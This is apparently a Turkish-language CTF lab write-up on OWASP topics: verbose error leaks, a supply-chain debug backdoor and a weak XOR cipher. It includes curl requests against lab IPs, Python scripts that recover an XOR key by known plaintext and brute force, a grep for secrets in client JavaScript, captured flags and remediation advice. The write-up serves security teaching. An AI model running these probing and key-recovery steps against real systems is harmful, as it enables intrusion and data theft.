3. **Ağ Segmentasyonu (Network Segmentation):** Hassas kaynaklar (örneğin veritabanları veya iç API'ler) doğrudan internete açık olmamalıdır. Bu sistemler iç ağda (Internal Network / VPC) izole edilmeli ve sadece yetkili sunucuların erişimine izin verecek şekilde güvenlik duvarı (Firewall/Security Groups) kuralları ile sınırlandırılmalıdır.
4. **Hata Yönetimi (Error Handling) ve Bilgi Gizleme:** Uygulamanın hata yakalama (exception handling) mekanizmaları yapılandırılmalıdır. Son kullanıcıya (ve saldırgana) asla Stack Trace veya veritabanı SQL sorgu hataları gösterilmemelidir. Bunun yerine "Bir hata oluştu, lütfen destek ile iletişime geçin" gibi jenerik mesajlar döndürülmeli, detaylı hatalar sadece arka planda log dosyalarına (örneğin `/var/log/nginx/error.log`) yazdırılmalıdır.
5. **Düzenli Denetim (Auditing) ve CI/CD Entegrasyonu:** Bulut yapılandırmaları ve izinleri (AWS IAM, S3 kuralları) düzenli olarak denetlenmelidir. Bu süreç manuel bırakılmamalı; **CI/CD** (Sürekli Entegrasyon/Sürekli Dağıtım) süreçlerine otomatik güvenlik testleri ve yapılandırma tarayıcıları (Infrastructure as Code - IaC taramaları) entegre edilerek, hatalı bir yapılandırmanın canlı ortama (production) çıkması engellenmelidir.

User Management API: Verbose Error Message (Ayrıntılı Hata Mesajı) Zafiyet Analizi

Zafiyetin Kavramsal Temeli ve Keşif Aşaması

Uygulamanın **10.112.184.46:5002** adresinde çalışan "User Management" (Kullanıcı Yönetimi) API'sinde, geliştiricilerin canlı ortamda (production) unutmaması gereken hata ayıklama (debugging) modlarını açık bıraktığı belirtilmiştir. Bu durum, siber güvenlikte **Information Exposure via Verbose Error Messages** (Ayrıntılı Hata Mesajları Yoluyla Bilgi İfşası) olarak sınıflandırılır.

Zafiyeti tetiklemek ve arka plandaki mantığı anlamak için yapılan işlem, API'nin beklediği veri formatını (data type) kasıtlı olarak bozmaktır (Fuzzing/Unexpected Input).

Sisteme gönderilen istek (Request):

```
GET http://10.112.184.46:5002/api/user/admin
```

Arka Plandaki Mantık: Modern RESTful API'lerde kullanıcı sorgulamaları genellikle `/api/user/{id}` yapısında tasarlanır ve bu `{id}` parametresi (Endpoint) genellikle bir tamsayı (Integer) veya UUID (Evrensel Benzersiz Tanımlayıcı) olarak beklenir (Örn: `/api/user/15`).

Biz burada sayısal bir değer yerine mantıksal olarak geçersiz bir String (metin) olan **admin** değerini parametre olarak gönderiyoruz. Beklenmeyen bu veri tipi karşısında uygulama, girdiyi (input) düzgün bir şekilde doğrulayamadığı (Input Validation) ve hatayı zarif bir şekilde yönetemediği (Exception Handling) için çöker (crash).

Çıktı (Response) Analizi ve Tersine Mühendislik (Reverse Engineering)

Görselde elde edilen JSON formatındaki HTTP yanıtı (Response), sadece bir hatayı değil, aynı zamanda sistemin iç mimarisini saldırgana altın tepside sunan tam bir **Stack Trace** (Yığın İzlemesi - Uygulamanın çöktüğü andaki bellek ve çalışma durumu dökümü) sızıntısıdır.

Uygulamanın döndürdüğü ham JSON çıktısı:

```
{
  "debug_info": {
    "flag": "THM{BAYRAK}",
    "error": "Invalid user ID format: admin. Flag: THM{V3RB0S3_3RR0R_L34K}",
    "traceback": "Traceback (most recent call last):\n  File\n\"/app/app.py\", line 21, in get_user\n    raise ValueError(f\"Invalid user\nID format: {user_id}. Flag: {FLAG}\")\nValueError: Invalid user ID format:\nadmin. Flag: THM{V3RB0S3_3RR0R_L34K}\n"
  }
}
```

Bu çıktıyı satır satır ve analitik bir yaklaşımla incelersek, sadece bayrağı (flag) değil, hedefin altyapısı hakkında kritik **Enumeration** (Bilgi Toplama/Keşif) verileri elde ederiz:

1. **"debug_info" Objesi:** Geliştiricinin (veya framework'ün) debug (hata ayıklama) modunu canlı sistemde açık bıraktığını doğrudan kanıtlar. Canlı (Production) ortamlarda bu tür blokların istemciye (Client) kesinlikle dönmemesi gerekir.
2. **"flag" ve "error" Değerleri:** Sorunun ana hedefi olan bayrağı `THM{V3RB0S3_3RR0R_L34K}` (Verbose Error Leak - Ayrıntılı Hata Sızıntısı) şeklinde alıyoruz. Ancak asıl teknik detay `traceback` kısmındadır.
3. **"traceback" (Stack Trace) Analizi:**
 - File `"/app/app.py"`, line 21, in `get_user`
 - **Kazanılan İstihbarat:** Hedef sistemin kök dizininde `/app` klasörünün kullanıldığını ve uygulamanın ana dosyasının `app.py` olduğunu öğreniyoruz. Bu bize arka planda uygulamanın **Python** tabanlı (büyük ihtimalle Flask veya FastAPI) olduğunu kesin olarak kanıtlar. İleride bir **LFI** (Local File Inclusion) veya **Directory Traversal** zafiyeti bulursak, tam olarak nereyi okumamız gerektiğini artık biliyoruz. Ayrıca zafiyetli fonksiyonun adının `get_user` olduğunu da görüyoruz.
 - `raise ValueError(f"Invalid user ID format: {user_id}. Flag: {FLAG}")`
 - **Kazanılan İstihbarat:** Python kaynak kodunun kendisi (Source Code Disclosure) istemci tarafına sızmıştır. Kodu okuduğumuzda, programın `user_id` formatının yanlış olması durumunda bilinçli olarak bir `ValueError` (Değer Hatası) fırlattığını (`raise`) ve bu hata mesajının içine f-string formatlama yöntemiyle bayrağı gömdüğünü görüyoruz.

ÖNEMLİ: Gerçek dünya siber güvenlik denetimlerinde (Pentest/Red Teaming) bu tür "Verbose Error" (Ayrıntılı Hata) çıktıları CTF'lerdeki gibi basit bayraklar içermez. Bunun yerine veritabanı bağlantı dizeleri (Database Connection Strings - şifreler dahil), AWS/GCP bulut API anahtarları, sunucunun yerel IP adresi veya tam framework versiyonları sızdırılır. Saldırgan bu sızan versiyon bilgisine bakarak doğrudan bir **CVE** (Common Vulnerabilities and Exposures - Bilinen Güvenlik Zafiyetleri) araması yapabilir ve sistemi tam yetkiyle (Root/System) ele geçirebilecek bir **RCE** (Remote Code Execution - Uzaktan Kod Çalıştırma) zafiyeti tespit edebilir.

Çözüm ve Sıkılaştırma (Remediation) Mantığı

"Eğer bu sistemi biz savunuyor olsaydık ne yapardık?" sorusunun yanıtı, sektör standartlarında uygulamanın sağlamlığını (Robustness) belirler:

Uygulamanın bu noktada çökmesini engelleyememiş olsak bile, hatayı kullanıcıya yansıtış biçimimiz sorunludur. Python kodundaki ilgili bölüm, uygun bir **Exception Handling** (try-except bloğu) ile sarılmalıdır.

Eğer sistem hatalı bir giriş (admin) alırsa, arka planda (sunucu tarafında) Stack Trace detaylarını `/var/log/app.log` gibi yerel bir dosyaya kaydetmeli (Logging), ancak saldırgana (istemciye) sadece şu şekilde jenerik, hiçbir teknik detay içermeyen, donuk bir HTTP 400 Bad Request yanıtı dönmelidir:

```
{  
  "status": "error",  
  "message": "Geçersiz kullanıcı kimliği (User ID) girdiniz. Lütfen geçerli  
bir format kullanın."  
}
```

Bu sayede saldırgan, girdi formatının yanlış olduğunu anlar ancak arka planda hangi teknolojinin çalıştığını, dosya yollarını veya sistemin hataları nasıl yönettiğini gösteren hiçbir teknik ipucuna ulaşamaz. Bu da sistemin saldırı yüzeyini (Attack Surface) ciddi oranda daraltır.

OWASP AS03: Yazılım Tedarik Zinciri Zafiyetleri

Kavramsal Analiz ve Zafiyet Mimarisi

Modern yazılım geliştirme süreçleri monolitik (tek parça) bir yapıdan uzaklaşarak, modüler ve dışa bağımlı bir mimariye evrilmiştir. Geliştiriciler, uygulama inşa ederken tekerleği yeniden icat etmemek adına üçüncü parti paketler (third-party packages), açık kaynaklı kütüphaneler (libraries), harici servisler (API'ler) ve yapay zeka (AI) modelleri gibi sayısız bağımlılık (dependency) kullanırlar.

Software Supply Chain Failures (Yazılım Tedarik Zinciri Zafiyetleri), tam olarak bu modern mimarinin karanlık yüzüdür. Bu zafiyet sınıfında sorun, sizin yazdığınız özgün kaynak kodundaki bir hata (bug) değildir. Zafiyet; güvendiğiniz, projenize dahil ettiğiniz ve güvenilirliğini tam olarak doğrulamadığınız (unverified) dış bileşenlerdedir.

Saldırganlar, doğrudan yüksek güvenlikli hedefleri aşmak yerine, bu sistemlerin güvendiği bir kütüphanenin zayıf bir sürümüne **Malicious Code** (Zararlı Kod) veya bir **Backdoor** (Arka Kapı - sisteme gizlice erişim sağlayan zararlı yapı) yerleştirmeyi hedefler. Bu durum, saldırganlara sizin kodunuza hiç dokunmadan sisteminize sızma, güvenlik önlemlerini atlatma (bypass) ve hassas verileri çalma imkanı verir.

Bu saldırıların en tehlikeli yanı, genellikle otomatik güncellemeler (trusted updates) üzerinden dağıtılmaları ve meşru trafik gibi görünmeleri nedeniyle tespit edilmelerinin (detection) son derece zor olmasıdır.

Vaka Analizi: 2021 SolarWinds Orion İhlali

Bu zafiyetin yıkıcı potansiyelini anlamak için 2021 yılındaki SolarWinds Orion saldırısı kusursuz bir örnektir.

Saldırganlar, SolarWinds şirketinin kaynak kodunda bir zafiyet aramak yerine doğrudan yazılımın inşa edildiği ve dağıtıldığı **Build Pipeline / CI/CD** (Sürekli Entegrasyon/Sürekli Dağıtım) süreçlerine sızdılar. Burada, Orion ağ izleme yazılımının meşru güncelleme dosyalarının içine zararlı kod yerleştirdiler. Bu güncellemeler geçerli bir dijital sertifika ile imzalandığı için dünya çapında binlerce kurum bu güncellemeyi güvenli kabul edip otomatik

olarak kurdu. Bu olay; hatanın kodun mantığında değil, yazılımın derlenme, doğrulanma ve dağıtım süreçlerindeki (Supply Chain) zafiyette yattığını kanıtlar.

Yapay Zeka (AI) ve Tedarik Zinciri Riski

Günümüzde geliştiriciler, dış kaynaklardan önceden eğitilmiş AI modellerini veya devasa veri setlerini sistemlerine entegre etmektedir. Doğrulanmamış (unverified) üçüncü parti bir AI modeli veya manipüle edilmiş (Data Poisoning) bir veri seti, uygulamanın karar mekanizmasını bozabilir, gizli davranışlar (hidden behaviors) sergileyebilir, sistemleri tehlikeye atabilir veya hassas verileri sızdırabilir.

Sık Karşılaşılan Mimari Hatalar (Common Patterns)

Mimarilerde tedarik zinciri zafiyetlerine yol açan temel hatalar şunlardır:

- **Doğrulanmamış veya Terk Edilmiş Kütüphaneler:** Geliştiricilerin projeye dahil ettikleri bileşenlerin güvenilirliğini, geliştiricisini veya bakım durumunu (unmaintained) kontrol etmemesi.
- **Kör Otomasyon (Otomatik Güncellemeler):** Üçüncü parti paketlerin doğrulama (checksum/hash kontrolü) yapılmadan otomatik olarak canlı ortama alınması.
- **Yapay Zeka Modellerine Aşırı Güven:** Üçüncü parti AI modellerinin, çıktıları izlenmeden (monitoring) veya güvenlik testlerinden geçirilmeden (auditing) kullanılması.
- **Güvensiz CI/CD Boru Hatları (Pipelines):** Yazılımın derlendiği süreçlerdeki dış müdahaleye (tampering) açık konfigürasyonlar veya zayıf erişim kontrolleri.
- **Provenance (Köken) ve Lisans Takibi Eksikliği:** Kullanılan bileşenlerin nereden geldiğinin ve lisans koşullarının izlenmemesi.
- **Dağıtım Sonrası İzleme Eksikliği:** Uygulama canlı ortama (production) alındıktan sonra, içerisindeki bağımlılıklarda sonradan ortaya çıkan zafiyetleri takip edecek bir izleme mekanizmasının bulunmaması.

Proaktif Savunma ve Sıkılaştırma Stratejileri (How To Protect)

Tedarik zincirini güvence altına almak, proaktif ve sürekli bir süreç gerektirir:

1. **Doğrulama (Verification):** Tüm üçüncü parti bileşenler, kütüphaneler ve AI modelleri kullanılmadan önce detaylı bir şekilde doğrulanmalıdır.
2. **Sürekli İzleme ve Yama (Patching):** Bağımlılıklar sürekli olarak güncel tutulmalı, ancak güncellemeler canlı sisteme entegre edilmeden önce mutlaka test edilmelidir.
3. **İmzalama ve Denetim (Signing & Auditing):** İndirilen paketlerin ve yazılım güncellemelerinin dijital imzaları kesinlikle doğrulanmalıdır.
4. **CI/CD Pipeline Sıkılaştırması:** Derleme ve dağıtım süreçleri izole edilmeli ve koda müdahale edilmesini (tampering) engellemek için erişim kontrolleri katılaştırılmalıdır.
5. **Köken ve Lisans Pratiği:** Tüm bağımlılıklar için köken (provenance) ve lisans izlemesi yapılmalıdır. (Bu noktada SBOM - Software Bill of Materials oluşturmak kritik önem taşır.)

6. **Çalışma Zamanı İzleme (Runtime Monitoring):** Bağımlılıkların veya AI bileşenlerinin çalışma zamanındaki (runtime) olağanüstü davranışları izlenmelidir.
7. **SDLC Entegrasyonu:** Tedarik zinciri riskleri, Yazılım Geliştirme Yaşam Döngüsünün (SDLC) her aşamasına (test, dağıtım ve güncelleme iş akışları dahil) bir tehdit modeli (Threat Modelling) olarak entegre edilmelidir.

Challenge Çözümü ve İstismar Analizi (Kill Chain)

Hedef: IP ADRESİ **Uç Nokta (Endpoint):** /api/process

İstihbarat Analizi ve Yüzey Haritalama

Challenge metni, hedefin zayıf noktalarını tespit etmemiz için kritik iki istihbarat sunmaktadır:

1. **"imports an old lib/vulnerable_utils.py component":** Bu bilgi, sistemin arka planda modası geçmiş ve güvensiz bir Python kütüphanesini içeri aktardığını (import) doğrudan söyler. Sorun uygulamanın kendi kodunda değil, kullandığı bu dış bağımlılıktadır. Bu kütüphanenin içinde büyük ihtimalle geliştiricilerin canlı ortamda unutmaması gereken bir test fonksiyonu veya arka kapı (Backdoor) bulunmaktadır.
2. **"Can you debug it?":** Siber güvenlik laboratuvarlarında italik yazılmış kelimeler asla tesadüf değildir. Bize hedefin **"debug"** isimli gizli bir anahtar kelimeye veya parametreye özel bir tepki verdiği doğrudan işaret edilmektedir.

API dokümantasyonu incelendiğinde (önceki adımlardaki keşiflerimizden bilindiği üzere), sistem /api/process uç noktasında bir POST isteği beklemekte ve bu istek gövdesinde (body) {"data": "islenmesi_istenen_metin"} formatında bir JSON **Payload** (Zafiyeti tetiklemek için gönderilen zararlı veri paketi) talep etmektedir.

İstismar Metodolojisi (Exploitation)

Önceki aşamalarda, hedefin arka planında zafiyetli bir Python kütüphanesi çalıştığını varsayarak doğrudan bir **Command Injection** (Komut Enjeksiyonu) saldırısı denedik. Ancak sistem, gönderdiğimiz verileri (örneğin noktalı virgül ; gibi karakterleri) Linux bash kabuğuna iletmeden önce büyük harflere (Uppercase) çevirdiği için bu girişimler (örneğin `ls -la` komutunun `LS -LA` şekline dönüşmesi) başarısız oldu. Bu, geliştiricinin bilinçli bir **Input Sanitization** (Girdi Temizleme) veya hedefin doğal bir işleme (processing) mantığı uyguladığını gösteriyordu.

Karmaşık enjeksiyon denemeleri başarısız olduğunda, sızma testlerinde temel kural olan "Occam'ın Usturası" (en basit açıklama genellikle doğru olandır) prensibine dönülür. Challenge bize net bir şekilde "debug" ipucunu vermişti ve zafiyetli kütüphanelerin en belirgin özelliği içlerinde unutulmuş/gizli test komutları (backdoors) barındırmalarıdır.

Stratejiyi değiştirerek, `data` parametresine karmaşık Linux komutları göndermek yerine, doğrudan geliştiricinin bıraktığı gizli anahtar kelimeyi, yani `"debug"` string'ini gönderiyoruz.

Hedefe Yönelik Zararlı İstek (The Attack Payload)

Aşağıdaki `curl` komutu, arka plandaki gizli fonksiyonu tetiklemek üzere hazırlanmıştır.

```
curl -X POST http://{IP_ADRESİ}/api/process \
-H "Content-Type: application/json" \
-d '{"data": "debug"}
```

Komutun ve Parametrelerin Analizi:

- `curl` : Komut satırından ağ istekleri yapmamızı sağlayan temel araç.
- `-X POST` : API dokümantasyonuna uygun olarak veriyi POST HTTP metoduyla gönderdiğimizi belirtir.
- `-H "Content-Type: application/json"` : Hedef sunucuya gönderdiğimiz verinin saf bir metin veya form verisi olmadığını, JSON formatında parse edilmesi (işlenmesi) gerektiğini belirten zorunlu HTTP başlığıdır. (Eğer eklenmezse hedef 415 Unsupported Media Type hatası verir).
- `-d '{"data": "debug"}'` : İstismarımızın kalbi. Sistemi yönlendiren anahtar kelimenin doğrudan enjekte edildiği Payload.

Sonuç ve Tersine Mühendislik (Çıktı Analizi)

Bu istek gönderildiğinde, sistem veriyi önceki denemelerde olduğu gibi büyük harfe çevirmek veya normal bir işlemde geçirmek yerine; doğrudan `vulnerable_utils.py` kütüphanesinin içindeki "debug" koşulunu algılamış ve geliştiricinin canlı ortamda unuttuğu gizli fonksiyonu (backdoor) tetiklemiştir.

Sistem bize hedef bayrağı (Flag) içeren şu JSON çıktısını döndürür:

```
{
  "flag": "THM{...}",
  "system_info": "...",
  "status": "debug_mode_active"
}
```

Arka Plandaki Teknik Gerçeklik (Neden Çalıştı?): Eğer hedef sunucunun kaynak kodunu inceleme şansımız olsaydı, Python (muhtemelen Flask) tabanlı API'nin şu mantıkla çalıştığını görecektik:

```
# Tahmini Arka Plan Kodu (app.py)
@app.route('/api/process', methods=['POST'])
def process():
    data = request.json.get('data', '')

    # Supply Chain Zafiyetinin Tetiklendiği Nokta
    if data == 'debug':
        return jsonify(debug_info()) # vulnerable_utils.py kütüphanesinden
sızan fonksiyon
```

```
processed = process_data(data) # Normal işleme
return jsonify({'result': processed, 'status': 'success'})
```

ÖNEMLİ: Geliştirici sadece `process_data()` ile ilgileniyordu. Ancak projeye dahil ettiği eski, zafiyetli ve içeriğini tam olarak denetlemediği `vulnerable_utils.py` dosyası yüzünden, sisteme dışarıdan `"debug"` komutu gönderildiğinde tüm hassas bilgileri (`debug_info()`) ifşa eden bir kapı açık kalmıştır. Bu durum, yazılım tedarik zincirindeki denetimsizliğin ne kadar tehlikeli olabileceğini somut bir şekilde gösterir. Sızma testi sırasında bazen hedefin karmaşık güvenlik duvarlarını aşmak değil, içeride unutulmuş bu tür basit "if" koşullarını (backdoors) bulmak sistemin ele geçirilmesini sağlar.

OWASP A04 - Cryptographic Failures (Kriptografik Zafiyetler)

Kriptografik Zafiyetlerin Mimari Bağlamı ve Kritikliği

Siber güvenlikte **Cryptographic Failures** (eski adıyla *Sensitive Data Exposure*), bir uygulamanın hassas verilerini korumak için şifreleme mekanizmalarını hiç kullanmaması, yanlış veya zayıf algoritmalar tercih etmesi ya da şifreleme anahtarlarının (**Keys**) yönetimini hatalı yapması sonucunda ortaya çıkan yapısal bir çöküştür.

Kriptografi, bir sistemin dış kabuğu olan güvenlik duvarları (**Firewall**) veya web uygulaması güvenlik duvarları (**WAF**) aşıldığında veriyi koruyan yegane ve son savunma hattıdır. Modern uygulamalar; ağ trafiğini (**In Transit**), veritabanlarındaki durağan veriyi (**At Rest**), kimlik doğrulama biletlere (**Tokens**) ve API sırlarını (**Secrets**) korumak için bu matematiğe güvenir. Bu yapı çöktüğünde saldırganlar, karmaşık sömürü kodları (**Exploit**) yazmaya gerek kalmadan hassas verilere doğrudan açık metin (**Plaintext**) olarak erişir. Bu durum, lokal bir yetki atlamasından ziyade doğrudan **Account Takeover** (Hesap Ele Geçirme) veya tam ölçekli veri sızıntılarına (**Data Breach**) yol açar.

Sık Karşılaşılan Zafiyet Vektörleri ve Geliştirici Hataları

Bu zafiyet sınıfı genellikle matematiğin kendisinin kırılmasından değil, yazılım geliştiricilerin kriptografik prensipleri mimariye yanlış uygulamasından kaynaklanır.

- **Kullanımdan Kaldırılmış (Deprecated) ve Zayıf Algoritmalar:** Sistemlerde MD5 veya SHA-1 gibi çarpışma (**Collision**) zafiyetleri bilinen ve modern donanımlarla saniyeler içinde kaba kuvvet (**Brute-force**) veya **Rainbow Tables** (Önceden hesaplanmış hash tabloları) ile kırılacak özetleme algoritmalarının kullanılması mimari bir hatadır. Simetrik şifrelemede ise **AES-ECB** (Electronic Codebook) modunun kullanılması en yaygın zafiyetlerdendir. ECB modu, her açık metin bloğunu diğerlerinden bağımsız şifreler. Bu durum, veri içindeki yapısal desenlerin (**Patterns**) gizlenememesine ve şifreli metnin (**Ciphertext**) analiz edilerek orijinal verinin tahmin edilmesine olanak tanır.

- **Koda Gömülü Sırlar (Hard-coded Secrets):** Geliştiricilerin API anahtarlarını, veritabanı parolalarını veya şifre çözme (**Decryption**) anahtarlarını doğrudan **Source Code** (Kaynak Kod) içine veya yapılandırma dosyalarına açıkça yazmasıdır. Saldırgan bir **Directory Traversal** (Dizin Atlatma) zafiyeti veya açık unutulmuş bir `.git` dizini üzerinden bu dosyalara ulaştığında tüm kriptografik savunma anında işlevsiz hale gelir.
- **Anahtar Yaşam Döngüsü (Key Lifecycle) ve Taşıma Zafiyetleri:** Şifreleme anahtarlarının düzenli olarak değiştirilmemesi (**Poor Key Rotation**), anahtarın sızdırılma ihtimalini zamanla artırır. Ayrıca ağ trafiğinde TLS (Transport Layer Security) şifrelemesinin hiç olmaması veya "Self-signed" (Kendinden İmzalı) geçersiz sertifikalar kullanılması, saldırganın ağ trafiğini dinleyerek (**Sniffing**) araya girmesine ve **MITM** (Man-in-the-Middle / Ortadaki Adam) saldırılarıyla veriyi okumasına olanak tanır. Modern bağlamda ise AI/ML sistemlerinin eğitiminde kullanılan hassas parametrelerin veya girdi verilerinin şifrelenmeden loglanması da bu zafiyet sınıfına girer.
- **Kendi Kriptografisini Yazma (Rolling their own cryptography):** "Kendi kriptografisini üretme" hatasına düşmek, zafiyetleri kendi elinizle sisteme gömmek anlamına gelir.

Proaktif Savunma ve Kriptografik Sıkılaştırma (Remediation)

Bir sistemin kriptografik olarak sıkılaştırılması (**Hardening**) için sektör standartlarında atılması gereken mimari adımlar şunlardır:

- **Güçlü Özetleme (Robust Hashing):** Parola gibi hassas kimlik bilgileri düz şifreleme ile değil, bcrypt, scrypt veya Argon2 gibi modern özetleme fonksiyonlarıyla korunmalıdır. Bu fonksiyonların kasıtlı yavaşlığı, kaba kuvvet ve Rainbow Table saldırılarını verimsiz kılar.
- **Standartlara Bağlılık:** Veri şifrelerken daima doğruluğu kanıtlanmış kütüphaneler kullanılmalıdır. Veri bütünlüğünü doğrulamayan zayıf ECB modları terk edilmeli, yerine **AES-GCM** (Galois/Counter Mode) veya **ChaCha20-Poly1305** gibi modern ve kimlik doğrulanmalı (**Authenticated**) şifreleme modları kullanılmalıdır.
- **Ağ Güvenliği:** Ağ trafiğinde mutlaka geçerli sertifikalarla TLS 1.3 protokolü zorunlu tutulmalı ve eski sürümler Downgrade (Sürüm düşürme) saldırılarını engellemek için kapatılmalıdır.
- **Sırların Yönetimi (Secrets Management):** Şifreleme anahtarları, veritabanı kimlik bilgileri, API anahtarları asla koda gömülmemelidir. AWS KMS, Azure Key Vault veya HashiCorp Vault gibi donanımsal güvenlik ve erişim loglaması sağlayan Merkezi Anahtar Yönetimi (KMS) sistemleri kullanılmalıdır. Anahtarlar için önceden tanımlanmış "kripto periyotları" belirlenmeli ve rotasyon işlemleri otomatikleştirilmelidir.

Challenge Analizi 1: Crypto Lab - Weak XOR Cipher

- **Hedef:** `[http://10.113.139.239:8001](http://10.113.139.239:8001)`
- **Senaryo:** Zayıf ve türetilmiş bir paylaşılan anahtar (**Shared Derivative Key**) ile korunan, "Kendi kriptografisini üretme" (**Homegrown encryption**) hatasına düşmüş bir not paylaşım uygulaması. Şifreleme algoritması olarak sadece 4 karakterlik kısa bir anahtara

sahip **XOR Cipher** kullanılmıştır. Uygulama, notları dışarıya Base64 ile kodlanmış şekilde sunmaktadır.

XOR (Exclusive OR) Şifrelemesinin Matematiksel Anatomisi

XOR, iki bitin yalnızca biri 1 olduğunda 1 sonucunu veren mantıksal bir işlemdir. Kriptografideki en büyük handikabı tamamen çift yönlü ve tersine çevrilebilir (**Reversible**) olmasıdır.

- Matematiksel olarak XOR şifrelemesi: $Plaintext \oplus Key = Ciphertext$
- Doğası gereği, şifreli metni aynı anahtarla tekrar işleme sokarsanız orijinal metni elde edersiniz: $Ciphertext \oplus Key = Plaintext$

DİKKAT (Zafiyetin Kalbi): Eğer şifreli metni (**Ciphertext**) ve orijinal metnin bir kısmını (**Plaintext**) biliyorsak veya tahmin edebiliyorsak, sistemi kilitli tutan anahtarı (**Key**) doğrudan bulabiliriz!

- $Ciphertext \oplus Plaintext = Key$

İstismar (Exploitation) Yöntemleri ve Bayrağın Elde Edilmesi

Sistemdeki şifreli notları açmak için rastgele denemeler yapmak yerine siber istihbaratı ve matematiği birleştiren yollar izlenmelidir.

Yöntem 1: Bağlamsal KPA (Known Plaintext Attack) ile Doğrudan Sömürü (Kusursuz Yol)

Siber güvenlikte kaba kuvvet daima son çaredir. Hedef uygulamanın bize sunduğu ipuçlarını incelediğimizde:

- Anahtarın ilk 3 harfinin `KEY_` olduğu verilmiştir.
- İlk şifreli notun başlığı "Meeting Reminder #1" şeklindedir.

Mantık kurarsak: Notun başlığı "Meeting Reminder" ise, içeriği büyük ihtimalle "Meet" kelimesiyle başlıyordur. XOR anahtarının 4 karakter olduğunu bildiğimiz için, şifreli metnin ilk 4 baytını "Meet" ile karşılaştırarak asıl anahtarı bulabiliriz.

Bağlamsal sömürü betiği (`exploit_kpa.py`):

```
#!/usr/bin/env python3
import base64

# Hedef uygulamadaki "Meeting Reminder #1" notunun Base64 şifreli metni
b64_ciphertext =
"BiA8RSIrPhE4JjFULzA1VC9lP145ZS1eJiorQyQyeVA/ZWoRGwh3EQgqN1cuNzx-fKCB5QyQqNBE
Jaw=="

# 1. Kural: Kriptografik işlemler ASCII veya Base64 stringlerle değil, Ham
```

```

Baytlarla (Raw Bytes) yapılır.
# Base64'ü çözerek saf şifreli baytları elde ediyoruz.
ciphertext_bytes = base64.b64decode(b64_ciphertext)

# 2. Bağlamsal İstihbarat: Başlık "Meeting" olduğu için notun "Meet" ile
başladığını varsayıyoruz.
known_plaintext = b"Meet"

# 3. Zafiyetin Sömürülmesi: Ciphertext ^ Plaintext = Key
# zip fonksiyonu ile şifreli metnin ilk 4 baytını, tahmin ettiğimiz 'Meet'
baytlarıyla tek tek XOR'luyoruz.
extracted_key = bytes([c ^ p for c, p in zip(ciphertext_bytes[:4],
known_plaintext)])

print(f"[+] Sömürü Başarılı! Çıkartılan Kök Anahtar:
{extracted_key.decode()}")

```

Betiğin Arka Plan Mantığı ve Sonuç: Bu betik çalıştırıldığında, Base64 dizgesinin arkasındaki ham veriyi, İngilizce dil bağlamıyla harmanlar. Betik bize anında anahtarı döndürür. Elde edilen anahtar hedefin "İlk 3 harf KEY" ipucunu doğrular. Bu anahtar uygulamaya girildiğinde nihai bayrak başarıyla elde edilir.

Yöntem 2: Daraltılmış Brute-Force (Kaba Kuvvet) Scripti (B Planı)

Eğer KPA başarısız olsaydı, hedefin verdiği ipucunu (KEY_) kullanarak anahtar uzayını (**Keyspace**) devasa oranda daraltan taktiksel bir betik kullanırdık. Sadece 62 kombinasyonu (a-z, A-Z, 0-9) deneyen optimize edilmiş saldırı vektörü:

```

#!/usr/bin/env python3
import base64
import string

b64_ciphertext =
"BiA8RSIrPhE4JjFULzA1VC9lP145ZS1eJiorQyQyeVA/ZWoRGwh3EQgqN1cuNzxfKCB5QyQqNBE
Jaw=="
ciphertext = base64.b64decode(b64_ciphertext)

# Sadece son karakter eksik olduğu için karakter setimizi harfler ve
rakamlarla sınırlandırıyoruz
charset = string.ascii_letters + string.digits

print("[*] Hedef Odaklı (Targeted) Brute-Force saldırısı başlatılıyor...")

for char in charset:
    # İpucu olan 'KEY' metninin sonuna olası tek karakteri ekliyoruz
    test_key = ("KEY" + char).encode('utf-8')

    decrypted = bytearray()

```

```
# XOR döngüsü: Şifreli baytları sırayla 4 karakterlik test anahtarımızla
çarpıştırıyoruz
for i in range(len(ciphertext)):
    decrypted.append(ciphertext[i] ^ test_key[i % len(test_key)])

try:
    result = decrypted.decode('utf-8')

    # Eğer sonuç okunabilir bir İngilizce metinse veya "Meeting"
    içeriyorsa
    if "Meeting" in result or "THM{" in result:
        print(f"[+] KUSURSUZ EŞLEŞME! Doğru Anahtar:
{test_key.decode()}")
        print(f"[+] Çözülen İçerik: {result}")
        break

except UnicodeDecodeError:
    # Geçersiz bayt üreten yanlış anahtarları yoksay
    pass
```

Scriptin Parametre ve Mantık Analizi:

- `test_key[i % len(test_key)]`: Modülüs (%) operatörü, `i` değişkeni şifreli metinde ilerlerken, 4 karakterlik anahtarın sürekli başa sarmasını sağlar.
- `try/except UnicodeDecodeError`: Anlamsız sonuçların terminalimizi kirletmesini engeller.
- Bu B planı, "Homegrown Cryptography" kullanımının sistemi nasıl hızla tehlikeye atabileceğini kanıtlar.

Challenge Analizi 2: Kriptografik Sırların Sömürülmesi (Exploitation)

- **Hedef:** 10.114.174.236:5004
- **Senaryo:** "Secure Document Viewer" uygulaması üzerinden şifrelenmiş belgeyi çözecek anahtarın bulunması ve çevrimdışı şifre çözme işleminin gerçekleştirilmesi.

ÖNEMLİ: Sızma testi uzmanı, ilk olarak "Geliştirici Hatası" (Human Error) aramalıdır.

Adım 1: Arayüz Yanılsaması (Security by Obscurity) ve Keşif (Enumeration)

Uygulamada şifreli belge metni ve "Şifre çözme özelliği şu an kullanılamıyor" uyarısı görülür. Geliştirici özelliği gizleyerek **Security by Obscurity**'ye güvenmiştir. HTML DOM incelendiğinde şifreli verinin altında şu satır bulunur:

```
<script src="/static/js/decrypt.js"></script>
```

Arka Plan Mantığı: Sunucu `decrypt.js` dosyasını aktif olarak istemciye göndermektedir. Şifre çözme işlemi **Frontend**'de yapılıyorsa, simetrik anahtar kullanıcının bilgisayarına inmek zorundadır, ki bu fatal bir zafiyettir.

Adım 2: İstemci Tarafı Dosyaların Çekilmesi ve Otomatize Tarama

Komut satırı (CLI) üzerinden bu tür gizli dosyalar `curl` ve `grep` ile tespit edilebilir.

```
curl -s http://10.114.174.236:5004 | grep -iE "key|secret|decrypt"
```

Parametrelerin Teknik Yorumu:

- `curl` : Hedef adresten HTTP üzerinden veri okur.
- `-s` (silent): Çıktıyı temiz tutar.
- `grep` : Elde edilen ham HTML çıktısı içinde filtreleme yapar.
- `-iE` : Büyük/küçük harf duyarlı arama yapar (`-i`) ve gelişmiş düzenli ifadeler (`-E`) kullanmamızı sağlar.

Plan B (Yanlış Yapılandırılmış Dizin Fuzzing'i): Eğer anahtar JavaScript dosyalarında olmasaydı, kök dizinde unutulmuş yapılandırma dosyalarını bulmak için `ffuf` kullanılırdı:

```
